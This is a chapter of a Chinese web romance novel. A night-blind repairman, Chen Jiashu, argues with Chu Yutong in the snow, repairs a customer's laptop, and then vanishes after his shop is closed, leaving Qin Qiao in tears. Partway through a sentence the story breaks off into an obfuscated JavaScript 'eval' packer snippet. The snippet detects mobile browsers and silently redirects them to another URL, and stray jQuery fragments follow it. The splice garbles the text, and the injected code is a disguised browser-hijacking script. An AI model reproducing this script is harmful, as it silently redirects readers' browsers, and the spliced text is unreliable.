20. 不见

    晚上七点多时,又飘了一场短暂的雪,陈嘉树九点出店门,气温偏低,外面地上还来不及化的雪,已有七八公分高度,路灯灯影折在上面反射出微黄的光。


    陈嘉树正在锁门,背后传来一道脆生生的声音,“陈老板!”


    他思想不集中,被这声吓到了,手一颤,手里的钥匙“叮”的一声掉在地上,弹了两下,发出细微的声响。


    “好久不见啊。”


    楚语桐笑着摆手。


    她在斜对面那家面店吃馄饨,看到陈嘉树店里灯亮着,于是吃完过来随便瞧瞧。


    陈嘉树没应声,而是蹲下来,眼睛在地上搜寻那把黄铜色钥匙。


    楚语桐一眼看到了那把钥匙,它就躺在陈嘉树斜前方,伸手就能够到的距离,但对有夜盲的人士来说恐怕不是那么容易。


    她几步上前,弯腰拾起钥匙,直起身半玩笑地道:“陈老板,你这夜盲症有点严重呀。”


    岂料,她一句玩笑话,却让这个男人勃然大怒。


    没错,勃然大怒。


    楚语桐亲眼见证他,猛地起身,转向她,眼里喷出愤怒的火焰。


    “她告诉你的!?”


    楚语桐被他沉沉的一嗓子和吃人的眼神,吓得抖了抖身,平台上有些湿滑,她还滑退小半步。


    后脖这儿不禁一阵发寒,楚语桐递出手里的钥匙,结结巴巴道,“是……是啊。”


    男人盯住她的手,浓睫遮住眼底所有情绪。


    隔了半晌。


    手里的钥匙被他拿了过去。


    楚雨桐见他神色稍有缓和,赶紧解释,“陈老板,你别误会乔儿,是我上次看到你们一路回去,问了她几句.......”她一向伶牙俐齿,但此刻声调弱弱,“我保证她只和我一个人说过。”


    陈嘉树没说话,拿了靠墙上的挂钩,勾住卷帘门圆环,把卷帘门拉了下来。他的动作干脆利落,仿佛闭着眼睛也能完成。


    楚雨桐看得愣愣的,那圆环,她一个好眼睛的都看不清楚,他怎么能这么准确无误地勾住?


    也许……熟能生巧吧。


    她微微甩头,定睛一瞧,男人已迈下台阶,走出一段路。


    楚雨桐忙不迭追上去,边走边说,“是我逼着乔儿,逼得她没办法,才跟我提了一嘴。”


    陈嘉树脚步却放慢了些。


    楚雨桐,“乔儿这个人吧,对谁都好,但她对你真的不一样,她——”


    陈嘉树骤然止步,转身面向她,目色如墨般浓稠,“覃乔……是不是有男朋友?”


    楚雨桐先是一愣,旋即懂了,心里顿时乐了,原来陈老板这是吃醋啦。


    眼珠子转了一圈,故意夸大道,“追乔儿的人可多了,从我们系到隔壁系,甚至还有外校的。不过嘛——”


    楚雨桐刻意拖长调,顺便观察这位陈老板的眼色。


    看似平静无波,实则暗流涌动。


    这位陈老板怕是不知道自己现在像只炸毛的老虎。


    算了,不逗他了,楚雨桐慢悠悠地道,“不过乔儿对那些人可没什么兴趣。她心里啊,早就有人了。”刻意加重最后五个字,好让他明白这才是重点。


    “是吗?她……有喜欢的人了?”他语调平直地问。


    “对啊,她喜欢的人叫——”


    一道叮铃铃的手机铃声在夜色里突兀地响起,楚雨桐后半句话没来得及说,男人掏出口袋里的手机,走去一旁接听。


    楚雨桐吹着冷风等他,目光在这个男人身上。


    这大高个,比他们学校很多男生都高,瞧瞧这站姿,肩背笔直得像棵松,即使穿着棉服,裹得臃肿,她都能想象出衣服下面他紧实有力的肌肉线条。


    再看他接电话时微微低头的侧脸轮廓,冷峻又锋利,自带一股生人勿近的气场。


    这么好的形象,开什么维修店,进军演艺圈走冷酷风保准能火。


    后脖颈一凉,楚雨桐一摸那里,湿了。


    抬头,才发觉她正站在一家店门口延伸到外的挡雨棚下面。


    她往旁边挪挪,恰好看到男人垂下攥着手机的这条手臂。


    楚雨桐正想上去继续刚才的话题,哪曾想这男人连看都没看她一眼,径直走了。


    “哎,陈——”她被灌了一口冷风。


    缓过来,再想叫他,他拐过街角,已不知去向。


    楚雨桐站在原地,漫过脚踝得积雪,被她自身体温融化,鞋湿了,脚背凉飕飕。


    不是,这人什么毛病啊?


    前一秒还在意覃乔喜欢谁,下一秒接个电话就头也不回地走了?


    她瞪着男人离开的方向,心里一阵无语。


    *


    楚雨桐回到宿舍,踢掉脚上潮湿的鞋子,打赤脚进卫生间。她简单冲了个澡出来,一撩眼帘,瞟见睡在上铺的覃乔。


    呃?


    她是刚回来还是早就回来了?


    不对,被窝里伸出的半截手臂分明套着睡衣呢,显然老早就回来了,平时她可没这么早睡,什么情况?


    楚雨桐爬上两级楼梯,小声,“乔儿?”


    没有回应,楚雨桐意识到不妙。


    再上一级,还没靠近她,已感觉到一股热气,浮在她周身。


    由于覃乔是面朝墙睡得,这时,她才看清她被烧得通红的脸蛋。


    一摸额头,烫得吓人。


    楚雨桐颤颤收回手,又叫了她一声,覃乔像是失去意识似的全无任何反应,这可不像是普通的感冒发烧。


    她跳到地上,快走到自己桌边,拿起手机拨打了辅导员电话。


    辅导员听完她的描述,让她尽量叫醒覃乔,她马上就过来。


    放下手机,楚雨桐拿出抽屉里的退烧药,再拿了桌上未开封的矿泉水。


    “乔儿,你发烧了,吃颗退烧药。”她边往上爬边对覃乔说。


    这次覃乔听到了她的声音,转过身来,睁开布着一层水光红血丝泛滥的双眸,她声音很轻,“桐桐,我头好疼啊。”


    覃乔灼热的呼吸扑在她脸上,楚雨桐两只手都占着,不好扶她起来,“能坐起来吗?我们先吃药。”


    覃乔裹紧身上的被子,“我感觉好冷但又好热。”她额头上密布着汗水,但手脚冰凉怎么捂都捂不热。


    不仅头疼还头重,使得撑起眼皮都觉得很艰难。


    说完这句话,她阖上眼皮,再度沉沉睡去。


    *


    次日,积雪融化,湿漉漉的地面因低温而结冰。


    一路上,不少人走着走着,脚下一滑,摔了个结结实实。


    陈嘉树今天比往常出门晚了些,到店里时已经快中午十点。他推开门,冷风吹起地上的雪粒子飘进屋。


    他进工作间拿了拖把出来,将瓷砖地面仔细拖了一遍,直到水渍干透。


    接着,他又从角落里抽出一张红色地毯,抖了抖上面的灰尘,铺在门口。


    正低头整理地毯时,余光瞥见一双鞋停在了门口。


    陈嘉树抬头,看见一张熟悉的面孔站在那儿。


    男人手里拎着一只电脑包,脸上不悦明显。


    “陈老板,你这电板有问题啊!”男人一进门就大声嚷,“十月份,在你这里换的电板,才用多久电脑就来不了机了,你是不是给我换了劣质货?”


    陈嘉树站起身,心平气和,“我看看。”


    他接过去,拿着它走进柜台,他把电脑抽出来放在台面上,拿起旁边的螺丝刀开始拆解。


    男人站在外面,皱着眉头看着他。


    陈嘉树一边拆一边问,“最近电脑有没有进过水或者放在潮湿的地方?”


    男人一听,像是被戳中了什么,喉咙一下变大,“怎么可能,我一直用得很小心。”


    陈嘉树没有多说什么,打开电脑后盖,抬起眼皮看着他说,“有水迹。。”


    男人凑过来一看,顿时有些尴尬,摸摸鼻梁,问,“这……这是怎么回事?”


    陈嘉树拿了一根棉签细致地擦拭掉肉眼可见的水迹,“已经干了,不过,电板的问题可能是进水导致的。”


    男人慌乱道,“可我确实没让电脑进水啊!难道是我不小心洒了水?”


    陈嘉树将棉签丢入垃圾桶,“不一定是你洒的水,可能是环境潮湿导致的。比如放在窗边,或者长时间暴露在高湿度的环境中。”


    男人附和他这句话,“对对对,可能是这样!我家里最近确实有点潮。”


    陈嘉树没有多问,放下螺丝刀改拿万用表,接着检查电板和主板,说道,“电板需要更换,主板我已经清理干净了,暂时没有问题。不过以后要注意,电脑尽量不要放在潮湿的地方。”


    “好好好,明白了,明白了。”男人点头如捣蒜。


    陈嘉树淡淡弯唇,“电板我手头没有现货,得放两三天,你在这我这儿换的话,我就不还原了。”


    “请问大概什么价格?”


    “老顾客,我给你打个八折,就收你一百五,保你一年,前提是非人为。”


    男人很感动,“谢谢陈老板,那就放你这儿换。”


    “那先这样,修好后我会发信息给你。”


    陈嘉树把这台已经拆解的电脑放到后面的货架上,转回来拉开抽屉,取出昨天修到一半没完成的手机。


    男人眼一眯,关心地问,“陈老板,你这脸怎么回事?”


    左边脸颊都摔破皮了,而且还肿的老高,额头上也有蹭伤,看着怪严重的。


    陈嘉树拿起镊子,眼皮都未掀, “滑了一跤,不是什么大事。”


    “是啊,这路太滑了。我刚才也差点摔一跤,一路上看到好几个人摔得四仰八叉的。地上全是冰,稍微有点坡度就得滑出去。”


    陈嘉树抿了抿唇,没接话,很快进入工作状态,顾客走了他都不知道。


    *


    国际交流办公室内。


    老师将手中的通知书推到她手边,“覃乔,你申请的y国经济学院交换生项目,已经通过了。恭喜你!”


    覃乔看着上面几个烫金大字,嘴角翘得的高高的,但因起了泪雾,字迹变得模糊。


    老师又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387417|166838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    推来另一份文件,“资助项目也通过了。你将获得每月500英镑的生活费补贴,足够覆盖大部分开销。”


    “谢谢老师,谢谢您。”


    “不用谢我,同学,你很优秀。不过,出国学习并不轻松,你要做好心理准备。”


    之后老师讲了一些出国前需要她去准备的事项。


    护照、签证、资金证明、疫苗证明、推荐信原件.....覃乔边听边再笔记本上记录。


    覃乔走出办公室,靠在走廊的墙上,深吸一口气,仍像是做梦一样。


    手中这两份文件顿时变得沉甸甸的,像是怕它们插翅膀飞掉似的,她紧紧攥着。


    覃乔已等不及要把这个好消息分享给父母,杨淑华在银行上班,不方便接电话,她的电话打给了父亲覃朗。


    她坐在花坛上寒风凛冽,像刀片刮着她的脸。


    可此刻,她非但不觉得冷,后背反而暖烘烘。


    听完她的报喜,覃朗为她高兴,“这次机会难得,好好把握,但也别给自己太大压力。学习固然重要,但更重要的是享受这个过程,开阔眼界,增长见识。”


    交换生这事她早在暑假时就和爸妈沟通过,他们非常支持她得想法,覃朗更是让她不用操心出国的费用,如果能被选中,他们一定鼎力支持。


    闲聊几句,覃乔听到电话那头上课铃响了,说了句,“爸爸,你先忙,拜拜”挂断了电话。


    她心情仍是雀跃,第二通电话打给辅导员,第三通电话打给了楚雨桐。


    楚雨桐听说她的通知下来了,在那边夸张的尖叫,“乔儿,你太棒了!太棒了!”


    第四个想分享的人.....


    覃乔嘴角还噙着笑意,摁键进入Qq,进入和陈嘉树的聊天界面。


    最后一条信息[你帮了我这么多,我送你几件小东西],已经是五天前的事。


    那天打完雪仗,她着凉发烧了,烧了整整三天,还被救护车拉去了医院,直到今天身体还是有些发虚。


    不知道陈嘉树在做什么?


    如果他知道她出国做交换生,会为她高兴吧。


    不如......覃乔关上手机盖,决定今天偷个懒给自己放个假,去“嘉树维修”来个半日游。


    *


    薄阳洒在肩头,带来一丝暖意,覃乔脚步轻快地走出学校,穿过大马路,走进大学城商区。


    然而,见到的却是店门紧闭,头顶的招牌也拆了,她往前走,玻璃上那张A4纸上打印着“房东直租”四个黑体大字。


    她上前紧贴着玻璃门,凉气渗入骨缝,透过玻璃望进去,里面空空如也,只剩那张柜台。


    覃乔直挺挺愣怔住,有些恍惚。


    前几天不是还好好的吗?


    她赶忙从掏出口袋里的手机,冻得僵硬的手指,麻木的摁键,给陈嘉树发去信息。


    时间一点点流逝。


    他没回复。


    不知是没看到还是说.....不想回。


    覃乔不知道为什么会想哭,她仿佛看到了他独自收拾店铺弯下的背脊,独自走在黑夜中落寞而萧索的身影。


    “小姑娘,你来是找陈师傅吗?”一位老奶奶路过店门口,停下来好心地问她。


    “请问您知道陈老板去哪里了吗?还有他怎么搬店了?”她着急的走到老奶奶面前。


    老奶奶,“被这家店的房东赶走的,前天房东在店里大闹一场后,陈师傅就搬走了。”


    她追问,“那他……他现在去哪儿了?”


    老奶奶慢慢摇头。


    覃乔低头看着手机,屏幕上依旧没有回复,只有她发出去的那条信息孤零零地躺在对话框里。


    屏幕上赫然出现一滴水珠,模糊了对话框里的文字。


    覃乔狠怔一下,随即意识到那是自己的眼泪。她连忙抬起手,用袖子胡乱擦了擦眼睛。


    为什么会哭,她自己也不说不清。


    她连续眨着眼睛,试图眨去眼角的泪意,却抵挡不住汹涌来袭的伤感。


    她想起他收了她的保温杯、请她吃馄饨、为她建的冰雪城堡,想起两人在雪地里追逐时的笑声。


    原以为……他们已经是朋友了,甚至是很特别的朋友,可他却突然不辞而别,连一条信息都不愿意回她。


    “陈嘉树,你就这么讨厌我吗?”


    泪水却像断了线的珠子,怎么也止不住。


    覃乔不再擦了,任由泪水铺满整张脸。


    “陈师傅的技术好啊,我的收音机别家都不肯修,陈师傅给不但给我修好,还帮我把喇叭太小的问题都解决了。”老奶奶的声音像是很近又向很远。


    冷风肆意的吹,脸上的斑驳的泪痕,迅速凝结扯的她生疼。


    这里阳光直射却毫无温度,身体里有种冰水浸过的寒凉。


    毫无征兆地眼前突然黑下来,她下意识地想去扶什么,什么也没抓住。


    就在这时一道男声闯入“乔儿。”紧接着一条手臂从后揽住她的腰,她的身体随之腾空,她被这个人打横抱了起来。